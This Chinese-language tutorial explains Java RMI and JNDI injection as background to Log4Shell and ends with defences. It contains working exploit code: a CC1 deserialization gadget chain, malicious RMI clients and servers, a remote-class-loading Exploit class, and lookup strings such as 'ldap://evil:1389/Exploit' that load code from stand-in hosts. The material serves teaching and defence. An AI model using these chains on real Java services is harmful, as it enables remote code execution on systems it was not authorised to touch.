前言

JNDI(Java Naming and Directory Interface)是 Java 平台提供的一层统一目录服务接口。它抽象了底层具体实现的差异,使开发者可以用同一套 API 去访问 RMI、LDAP、DNS、CORBA 等不同的命名与目录服务。这也是问题的起点:JNDI 只定义接口,不限制实现;攻击者若能控制 lookup 的参数,便可在客户端执行远程类加载,让目标 JVM 下载并执行恶意字节码。

这种攻击模式贯穿了近几年 Java 安全的经典事件——Fastjson 的 JNDI 反序列化链、Jackson 的 JNDI 注入、以及最终引爆整个生态的 Log4Shell(Log4j2 JNDI lookup)。Log4Shell 本质上就是 JNDI 注入的终极形态:日志消息里埋一个 ${jndi:ldap://evil/Exploit},日志框架在处理时触发 lookup,进而加载远程恶意类并执行。因此在深入 Log4Shell 之前,有必要把 JNDI 注入和 RMI 攻击的前置知识梳理清楚。

本文将从 RMI 基础讲起,逐步展开 RMI 的攻击面,最终落到 JNDI 注入的核心原理,并以一张版本对照表和防御思路收尾。

RMI 基础

介绍

RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中的 Java 程序调用在另一个远程 JVM 中运行的 Java 程序。这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。RMI 通信协议为 JRMP(Java Remote Method Protocol)。

RMI 原理与架构

RMI 系统涉及四个角色:

  • RMI Server:提供远程对象实现的 JVM 进程。
  • RMI Registry:注册中心,充当服务发现的中介,默认监听 1099 端口。
  • RMI Client:调用远程方法的 JVM 进程。
  • Web Server:可选的 HTTP 服务器,用于托管 .class 文件,支持动态类加载。

基本交互流程:

  1. 注册:RMI Server 将远程对象绑定到 RMI Registry,注册其名称。
  2. 查找:RMI Client 向 RMI Registry 查询远程对象的引用。
  3. 调用:RMI Client 通过 RMI 协议直接调用远程对象的方法,就像调用本地对象一样。
  4. 协作:RMI 系统可以与 Web 服务器集成,通过 URL 协议进行数据交换或资源加载。

注:Registry、RMI Server、Web Server 三种服务可以在同一台服务器,也可以在三台不同的服务器上。

Web Server 在 RMI 中的作用

Web Server 并非 RMI 体系的必备组件,但它在实际场景中有几个重要用途:

  1. 解决防火墙拦截:很多企业防火墙只放行 80 或 443 端口,RMI 默认的 1099 端口往往被封。有了 Web Server,客户端可以通过 HTTP 协议穿透防火墙。
  2. 提供对外统一接口:非 Java 客户端(如手机 App、前端网页、Python 程序)无法直接使用 RMI 协议,Web Server 可以将 RMI 包装成通用的 HTTP 接口。
  3. 实现动态类加载:RMI 的动态类加载机制允许客户端在本地缺少某个类文件时,通过 Web Server 将 .class 文件像普通网页资源一样下载到本地并加载,自动补齐依赖。
  4. 充当流量网关:在生产环境中,Web Server 作为前台负责接收外部请求、安全检查(登录鉴权)、限流,再将合法请求通过 RMI 转发给后台业务服务器。

RMI 实现

首先,RMI 远程对象必须是 Remote 接口的实现。以下是一个远程接口的定义:

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {

public String sayHello(String words) throws RemoteException;
}

远程接口要求作用域为 public,且其中的接口方法必须抛出 RemoteException

接口的实现类:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {

public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

实现远程接口的要点:

  • 继承 UnicastRemoteObject 类,用于生成存根(Stub)和骨架(Skeleton)。
  • 构造函数需要抛出 RemoteException
  • 实现类中使用的对象必须都可序列化,即都继承 java.io.Serializable

存根(Stub)与骨架(Skeleton)

RMI 的客户端和服务器并不直接通信,而是通过代理方式进行 Socket 通信,为远程对象分别生成客户端代理和服务端代理。

存根(Stub)——客户端代理,位于客户端 JVM 中,作为远程对象的本地代理。功能如下:

  • 将方法调用参数序列化(编组)
  • 通过网络发送到服务器
  • 接收服务器的响应结果
  • 将结果反序列化(解组)并返回给客户端

客户端代码调用存根对象,就像调用本地对象一样。

骨架(Skeleton)——服务端代理,位于服务器 JVM 中,用于接收客户端请求并调用实际的对象。功能如下:

  • 接收客户端的网络请求
  • 将参数反序列化
  • 调用实际的远程对象方法
  • 将结果序列化后发送回客户端

注册对象

服务端代码:

1
2
3
4
5
6
7
8
9
10
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
// 实例化远程对象
RemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定对象实例到注册中心
registry.bind("remoteObj", remoteObj);
}
}

客户端必须像服务端一样拥有远程接口,否则 Java 无法识别类型。

客户端接口(与服务端相同):

1
2
3
4
public interface RemoteObj extends Remote {

public String sayHello(String keywords) throws RemoteException;
}

客户端获取并调用远程对象:

1
2
3
4
5
6
7
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}

网络交互流程详解

整个调用过程的网络数据包如下:

  1. Client(24429) -> Registry(1099):TCP 三次握手,三个包。
  2. Client(24429) -> Registry(1099):JRMI Call 包,查询引用,包含要调用的方法名。
  3. Registry(1099) -> Client(24429):JRMI ReturnData 包,包含远程对象引用,提供服务端端口和真实 IP。
  4. Client(24429) -> RMI Server(24395):TCP 三次握手。
  5. Client(24429) -> RMI Server(24395):JRMI 检查包,客户端发送远程引用给服务端,服务端返回唯一标识符,确认可调用。
  6. Client(24429) -> RMI Server(24395):客户端序列化传输参数,发送 sayHello("hello"),包含参数 "hello"
  7. RMI Server(24395) -> Client(24429):服务器执行方法后,将返回值序列化返回给客户端。

Naming 方式注册

除了使用 Registry 接口,还可以通过 Naming 静态工具类操作:

服务端注册:

1
2
RemoteObj remoteObj = new RemoteObjImpl();
Naming.bind("rmi://localhost:1099/remoteObj", remoteObj);

客户端获取:

1
2
RemoteObj remoteObj = (RemoteObj) Naming.lookup("rmi://127.0.0.1:1099/remoteObj");
remoteObj.sayHello("hello");

二者的区别:

  • Registry 是一个 Java 接口,通过 LocateRegistry.createRegistry(1099) 拿到的是注册表服务的直接引用,直接操作当前连接的注册表实例,只需提供键和值。
  • Naming 是一个静态工具类(外观模式),封装了对 Registry 的操作,通过类似 URL 的格式来定位注册表。

RMI 攻击面

RMI 的攻击面可以分为三个方向:攻击服务端(传入恶意序列化对象)、攻击客户端(返回恶意序列化对象)、以及远程类加载(利用 codebase 机制让目标加载恶意类)。

先定义公共的远程接口和实现类:

接口:

1
2
3
4
5
6
7
public interface RemoteHello extends Remote {
String sayHello(String name) throws RemoteException;

String exp1(Object work) throws RemoteException;

Object exp2() throws RemoteException;
}

实现类(服务端,内含 CC1 链作为恶意载荷):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class RemoteHelloImpl implements RemoteHello {
public String sayHello(String name) throws RemoteException {
return String.format("Hello, %s!", name);
}

public String exp1(Object exp) throws RemoteException {
System.out.println("exp1 is " + exp);
return "exp1";
}

public Object exp2() throws Exception {
System.out.println("exp2");
return payload();
}

// 以下是恶意方法,CC1 链
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

服务端注册服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
// 实例化对象
RemoteHello h = new RemoteHelloImpl();
// 用于导出远程对象,将此服务转换为远程服务器接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
// 将 RMI 服务注册到 1099 端口
LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为 "Hello"
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);

} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

(1) 攻击服务端——传入恶意序列化参数

当远程方法接受一个 Object 类型的参数时,客户端可以传入一个精心构造的恶意序列化对象。服务端在反序列化该参数时触发 Gadget 链,导致 RCE。

原理:远程对象的 exp1 方法可以接受一个 Object 类型的参数,参数在序列化传输后,服务端反序列化时触发调用链。

恶意客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class RMIClient {
public static void main(String[] args) throws Exception {

// 连接到服务器 localhost,端口 1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为 "Hello" 的服务并强制转型为 Hello 接口
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
// String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
// 打印调用结果:
System.out.println(rs);
}


public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

(2) 攻击客户端——服务端返回恶意序列化对象

当客户端调用远程方法并接收返回值为 Object 类型时,服务端可以返回一个精心构造的恶意序列化对象。客户端在反序列化该返回值时触发 Gadget 链。

条件:客户端需要有 CC1 链的依赖环境(即 commons-collections 在客户端的 classpath 中)。

客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
public class RMIClient {
public static void main(String[] args) throws Exception {

// 连接到服务器 localhost,端口 1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为 "Hello" 的服务并强制转型为 Hello 接口
RemoteHello h = (RemoteHello) registry.lookup("Hello");
Object rs = h.exp2();
// 打印调用结果:
System.out.println(rs);
}
}

服务端只需在 exp2() 中返回 payload()(即 CC1 链构造的恶意对象),客户端接收后反序列化即触发。

(3) 远程类加载——java.rmi.server.codebase

Java 平台最重要的功能之一是能够将 Java 类组件(.class 文件)从任何 URL 动态下载到不同物理系统、以单独进程运行的虚拟机(VM)中。java.rmi.server.codebase 是 JVM 的一个系统属性,表示一个或多个 URL 地址,可以从中下载所需的类资源。

开启方式:

1
2
3
4
5
// 启动参数方式
// java -D java.rmi.server.codebase=http://192.168.1.10/classes/ -jar rmi-server.jar

// 代码方式
System.setProperty("java.rmi.server.codebase", "http://192.168.1.10/classes/");

受害端使用远程类加载需要两个条件

条件一:受害端的 java.rmi.server.useCodebaseOnly 的值为 false。当该值为 true 时,禁用自动加载远程类,仅从 CLASSPATH 和当前虚拟机的 java.rmi.server.codebase 指定路径加载类文件。

从 JDK 6u45、7u21 开始,java.rmi.server.useCodebaseOnly 的默认值变为 true

条件二:设置 SecurityManagerjava.security.policy

SecurityManager 是一个 Java 类,职责是拦截所有敏感操作。默认情况下,本地运行的 Java 程序不开启安全模式。在 RMI 中,需要显式开启它:

  • 代码方式:System.setSecurityManager(new SecurityManager());
  • 启动参数:-D java.security.manager

java.security.policy 指定安全策略文件,例如 rmi.policy(DSL 语言):

1
2
3
4
5
6
7
grant {
// 允许程序连接到任何主机的 1024 端口以上(RMI 默认 1099 在此范围内)
permission java.net.SocketPermission "*:1024-", "connect,accept,resolve";

// 如果要允许执行系统命令(这在 POC 演示中常用)
permission java.io.FilePermission "<<ALL FILES>>", "execute";
};

远程类加载流程

  1. Server 注册远程对象:服务端启动时,告诉 RMI Registry “我这里有一个叫 Hello 的服务”。关键点:服务端在启动时设置了参数 -Djava.rmi.server.codebase=http://myHost/mydir/。这个信息会被附在 Hello 服务的”名片”上。

  2. Client 查找服务:客户端向 RMI Registry 发起请求:”我想用一下那个叫 Hello 的服务”。

  3. Registry 返回 Stub(存根):Registry 把 Hello 的名片发给客户端。重点:这张名片不仅包含怎么连接服务端,还附带了一行字:”如果你本地没有 Hello_Stub 这个类,请去 http://myHost/mydir/ 下载”。

  4. Client 请求下载类(触发攻击点):客户端拿到名片后,翻遍了自己的本地 CLASSPATH,发现没有 Hello_Stub.class。如果客户端设置了 useCodebaseOnly=false,它就会根据名片上的地址,主动向 URL Location(HTTP 服务器)发起下载请求。

  5. HTTP 服务器返回恶意类:HTTP 服务器把预先准备好的 .class 文件发给客户端。一旦客户端接收到这个文件并开始加载,如果这是一个恶意构造的类(比如在静态代码块里写了 Runtime.exec),客户端的机器就会执行攻击者的命令。

远程类加载 POC:攻击客户端

为什么上一节的 demo 不需要在服务端设置 codebase,而这节需要?

因为在上一节的 demo 里,sayHello 返回的是一个 StringString 是 Java 的核心类,客户端本地当然认识。而在本节,客户端调用 h.exp2():服务端在 exp2() 的逻辑里,返回了一个恶意构造的 CC 链对象(基于 commons-collections 的 AnnotationInvocationHandler)。客户端在接收到 exp2() 的返回结果时,需要将这段二进制流反序列化成对象。客户端 JVM 在反序列化时,发现这个对象需要用到 org.apache.commons.collections.Transformer 等类——客户端的 CLASSPATH 里并没有 commons-collections-3.1.jar。此时它就会去往服务端指定的 Web 服务器上面寻找依赖,下载这个 jar 包,完成反序列化,触发调用链。

服务端(设置 codebase):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");
// 设置 codebase

// 实例化对象
RemoteObjImpl remoteObj = new RemoteObjImpl();
// 用于导出远程对象,将此服务转换为远程服务接口
// RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
// 将 RMI 服务注册到 1099 端口
LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为 "Hello"
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
// Naming.rebind("Hello", remoteObj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

客户端(设置 SecurityManager 和 policy):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package RMI;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception {

System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

// 连接到服务器 localhost,端口 1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为 "Hello" 的服务并强制转型为 Hello 接口
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法
// String rs = h.sayHello("rai4over");
// String rs = h.exp1(payload());
Object rs = h.exp2();
// 打印调用结果
System.out.println(rs);
}
}

Resource 目录下的 java.policy 配置权限如下:

1
2
3
grant {
permission java.security.AllPermission;
};

远程类加载 POC:攻击服务端

逻辑与上面相反:客户端传过去的参数服务端识别不出来,于是服务端去 codebase 里面寻找依赖并加载。

恶意客户端(设置 codebase):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
public static void main(String[] args) throws Exception {

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");
// 连接到服务器 localhost,端口 1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为 "Hello" 的服务并强制转型为 Hello 接口
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法
// String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
// Object rs = h.exp2();
// 打印调用结果
System.out.println(rs);
}

public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

服务端(设置 SecurityManager 和 policy,不设置 codebase):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

// 实例化对象
RemoteHello h = new RemoteHelloImpl();
// 用于导出远程对象,将此服务转换为远程服务接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
// 将 RMI 服务注册到 1099 端口
LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为 "Hello"
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
// Naming.rebind("Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

JNDI 注入

RMI 工厂模式

在进入 JNDI 注入之前,需要理解 RMI 中的工厂模式,因为 JNDI 注入正是利用了这个机制。

工厂模式的流程如下:

  1. ProductImpl 为远程对象(最终的业务对象),FactoryImpl 对象指向 ProductImpl 对象(工厂对象)。
  2. 创建 FactoryImpl 对象,设置 FactoryImpl 对象的指向为 ProductImpl
  3. 服务器端的 RMI Registry 启动,创建并注册工厂对象的引用(指向 FactoryImpl 对象),通过 Name 和 Reference 对象进行关联绑定,以供客户端进行查询。
  4. 客户端对 RMI Registry 发起请求,根据提供的 Name 得到指向 FactoryImpl 对象的 Reference 对象。
  5. 客户端加载 FactoryImpl 对象到本地,得到 FactoryImpl 对象的 Stub。
  6. 客户端调用 FactoryImpl 的远程方法,请求获取业务对象的引用。
  7. FactoryImpl 根据客户端请求,创建或返回一个 ProductImpl(产品实现类,业务远程对象)的远程引用给客户端。
  8. 客户端拿到 ProductImpl 的引用后,直接调用其业务方法,完成远程交互。

工厂模式与一般 RMI 代理模式的区别

一般的代理模式

  • 每个业务远程对象都直接向 RMI Registry 注册自己。
  • 客户端直接从 RMI Registry 获取业务对象的 Stub 代理,然后直接调用它的远程方法。
  • 客户端直接和业务远程对象通信,没有中间层。

工厂模式

  • 只有工厂对象向 RMI Registry 注册,所有业务对象都不直接注册。
  • 客户端先从注册表拿到工厂对象的 Stub,再通过工厂的远程方法获取业务对象的 Stub。
  • 一句话:客户端先和工厂通信,再由工厂分发业务对象,间接和业务对象通信。

JNDI 架构

JNDI(Java Naming and Directory Interface)为 Java 应用程序提供统一的命名和目录服务接口。其核心组件:

  • Context(上下文):所有命名操作的起点。
  • InitialContext:客户端创建的第一个上下文对象,作为访问命名服务的入口。
  • Service Provider:底层具体实现,JNDI 通过 SPI 机制支持多种服务提供者:RMI、LDAP、DNS、CORBA 等。

JNDI 的几个关键方法:

1
2
3
4
Context ctx = new InitialContext();
ctx.lookup("rmi://evil:1099/Exploit"); // 触发远程类加载
ctx.list(""); // 枚举上下文中的绑定
ctx.bind("name", obj); // 绑定对象

JNDI + RMI 注入

这是 JNDI 注入的核心攻击手法。攻击者在可控的 RMI Registry 中绑定一个恶意的 Reference 对象(包装在 ReferenceWrapper 中),当受害者客户端执行 InitialContext.lookup() 时,触发远程类加载流程。

原理lookup 方法返回的对象类型由 JNDI 的 service provider 决定。当使用 RMI provider 时,如果查找的结果是一个 Reference 对象,JNDI 会尝试按照 Reference 中指定的 factory 类和 factory 地址去实例化该对象。如果 trustURLCodebase 为 true(JDK 8u121 之前默认),客户端会从 Reference 指定的 HTTP 地址下载恶意类的字节码并加载,恶意类中的静态初始化块立即执行。

恶意类

将编译好的 Exploit.class 放在 HTTP 服务器(如 8000 端口)上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory
{

static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

这个类实现了 ObjectFactory 接口。攻击的精髓在于静态初始化块(static { ... }):一旦类被加载,calc 命令就会被执行。getObjectInstance 方法是接口要求实现的,但攻击逻辑不需要它——类加载时静态块已经执行完了。

恶意服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class JNDISERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
// Exploit 是工厂类,这里是创建引用
// 第一个参数表示产品类,第二个表示工厂类
// 这里因为工厂类和产品类是同一个,所以填一样的
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);
}
}

关键点:Reference 构造函数的前两个参数分别是产品类名和工厂类名,第三个参数是工厂类的 codebase 地址(HTTP 服务器地址)。ReferenceWrapper 将其包装成 Remote 对象,使其能够绑定到 RMI Registry。

受害客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
// Properties 对象,表示 JNDI 配置清单
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
// 指定 JNDI 服务类型是 RMI
env.put(Context.PROVIDER_URL,
"rmi://127.0.0.1:1099/");
// 指定 JNDI 注册表地址
Context ctx = new InitialContext(env);
ctx.lookup("Exploit");
// ctx.lookup("rmi://127.0.0.1:1099/Exploit");
}
}

客户端执行 ctx.lookup("Exploit") 后的流程:

  1. 客户端通过 RMI 协议访问 127.0.0.1:1099,查询名为 Exploit 的对象。
  2. 服务端返回一个 ReferenceWrapper 对象,其中包含 Reference(指向 http://127.0.0.1:8000/Exploit.class)。
  3. 客户端 JNDI 实现发现这是一个 Reference 对象,检查本地 classpath 是否有 Exploit 类——没有。
  4. 如果 com.sun.jndi.rmi.object.trustURLCodebase 为 true(低版本默认),客户端会向 http://127.0.0.1:8000/ 发起 HTTP 请求,下载 Exploit.class
  5. 客户端 JVM 加载 Exploit.class,触发静态初始化块中的 Runtime.getRuntime().exec("calc")

trustURLCodebase 限制

JDK 8u121 开始,Oracle 引入了一个关键限制:com.sun.jndi.rmi.object.trustURLCodebase 默认为 false。这意味着即使用户的 JNDI lookup 地址是可控的,RMI provider 也不会从远端 HTTP 地址加载任意类。

随后的 JDK 8u191 进一步将同样限制应用到 LDAP provider:com.sun.jndi.ldap.object.trustURLCodebase 也默认为 false

攻击流程小结

1
2
3
4
5
6
7
8
9
10
11
12
[攻击者 HTTP Server :8000]
- Exploit.class (恶意类,static 块执行 calc)
^
| 5. 下载 Exploit.class
|
[受害者客户端] [攻击者 RMI Registry :1099]
1. ctx.lookup("Exploit") --> 2. 返回 ReferenceWrapper
(Reference -> 指向 HTTP 上的 Exploit)
3. 收到 Reference 对象
4. 本地 classpath 找不到 Exploit
5. trustURLCodebase=true -> 从 HTTP 下载
6. 加载 Exploit.class -> static 块执行 -> calc

JNDI via LDAP

LDAP(Lightweight Directory Access Protocol)是 JNDI 的另一种 Service Provider。在 JDK 8u121 限制了 RMI 的 trustURLCodebase 后,攻击者转向了 LDAP 协议,因为 LDAP provider 的 trustURLCodebase 限制直到 JDK 8u191 才被加入。

LDAP 注入的原理与 RMI 完全相同:攻击者在可控的 LDAP 服务器上返回一个包含恶意 JNDI Reference 的 LDAP 条目,客户端 lookup 时下载并加载远程恶意类。

简单 POC 结构:

1
2
3
4
5
6
7
// LDAP 服务器端
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// ... 绑定包含 Reference 的条目

// 客户端
ctx.lookup("ldap://evil:1389/Exploit");

在 JDK 8u121 ~ 8u191 之间,RMI 的 trustURLCodebase 已被默认禁用,但 LDAP 的尚未生效,因此这段时间内的实际攻击多数通过 LDAP 向量进行。Log4Shell 也正是利用了这一点(Log4j 2.x 的 JNDI lookup 在 payload 中通常指定 LDAP 协议地址)。

版本对照表

JDK 版本 RMI trustURLCodebase (默认) LDAP trustURLCodebase (默认) useCodebaseOnly (默认) 说明
JDK < 6u45 / < 7u21 true true false 三个攻击向量全部可用
JDK 6u45 / 7u21 true true true useCodebaseOnly 限制生效,RMI 远程类加载需额外绕过
JDK 8u121 false true true RMI 的 trustURLCodebase 被禁用,转向 LDAP
JDK 8u191 false false true LDAP 的 trustURLCodebase 也被禁用
JDK 11+ false false true JEP 290 引入序列化过滤,进一步加固

总结:JDK 版本每升一级,JNDI 攻击面就收窄一圈。但从攻击视角看,Fastjson、Jackson 等组件内部的 JNDI lookup 才是真正的重灾区——只要应用依赖中存在一个可被触发且参数可控的 InitialContext.lookup(),高版本 JDK 也未必安全(绕过手段层出不穷,如利用本地 gadget 链的 BeanFactory 等)。

防御

  1. 升级 JDK:至少使用 JDK 8u191+,确保 RMI 和 LDAP 的 trustURLCodebase 都默认为 false
  2. JEP 290(序列化过滤):JDK 9+ 引入了序列化过滤器机制,可以在 JVM 层面拦截恶意序列化数据。可以通过 jdk.serialFilter 系统属性或 ObjectInputFilter API 配置。
    1
    2
    // 启动参数方式
    // -Djdk.serialFilter=!org.apache.commons.collections.*;!*
  3. 不要信任用户传入的 JNDI URL:最根本的防御——如果业务代码中使用了 InitialContext.lookup(),确保 lookup 的参数不来自用户可控的输入。
  4. 依赖管理:及时升级受影响的第三方库(Log4j 2.x <= 2.14.1、Fastjson、Jackson 等),关注 CVE 公告。
  5. WAF 规则:在请求入口层面拦截包含 rmi://ldap://jndi: 等协议的恶意输入。
  6. SecurityManager:在遗留系统无法升级 JDK 时,合理配置 SecurityManager 策略文件,限制远程类加载和命令执行权限。
  7. 出网控制:严格限制服务器的出网请求,阻止其向不可信的外部地址发起 HTTP/LDAP 连接——即使 lookup 被触发,也无法下载远程恶意类。

参考